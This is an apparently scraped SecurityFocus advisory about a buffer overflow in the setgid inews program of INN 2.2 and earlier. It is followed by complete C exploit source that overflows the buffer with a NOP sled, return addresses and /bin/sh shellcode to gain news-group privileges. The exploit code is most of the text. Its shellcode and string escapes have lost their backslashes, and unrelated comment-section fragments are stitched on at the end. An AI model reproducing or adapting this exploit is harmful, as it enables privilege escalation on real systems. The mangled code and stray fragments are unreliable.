source: http://www.securityfocus.com/bid/616/info
INN versions 2.2 and earlier have a buffer overflow-related security condition in the inews program.
inews is a program used to inject new postings into the news system. It is used by many news reading programs and scripts. The default installation is with inews setgid to the news group and world executable. It's possible that exploiting the buffer overflow could give the attacker news group privileges, which could possibly be extended to root access.
/* inews exploit , gives you the inews egid .
* [email protected]
* greetz to nitro,shivan,rfp & Minus :)
*
*
* RET addresses change between RH 5.2 ,6.0 etc..
*
* RH 5.2 RET = 0xbffff6f0
* RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 540
#define RET 0xbffff6f0
main (int argc, char *argv[])
{
FILE *fp;
int offset = 0;
char *buff = NULL;
int i;
u_char execshell[] =
"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
"x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
"x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
"xd7xffxffxff/bin/sh";
if (argc > 1)
offset = atoi (argv[1]);
buff = malloc (1024);
if (!buff)
{
printf ("malloc isnt workingn");
exit (0);
}
memset (buff, 0x90, BUFFER_SIZE);
for (i = 100; i < BUFFER_SIZE - 4; i += 4)
*(long *) &buff[i] = RET + offset;
memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));
if ((fp = fopen ("filez", "w")) != NULL)
{
fprintf (fp, "From: %snSubject: y0nNewsgroups: yaya le chatnnnnn",
buff);
fclose (fp);
execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
}
else {
printf ("Couldnt open file : filezn");
exit (0);
}
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666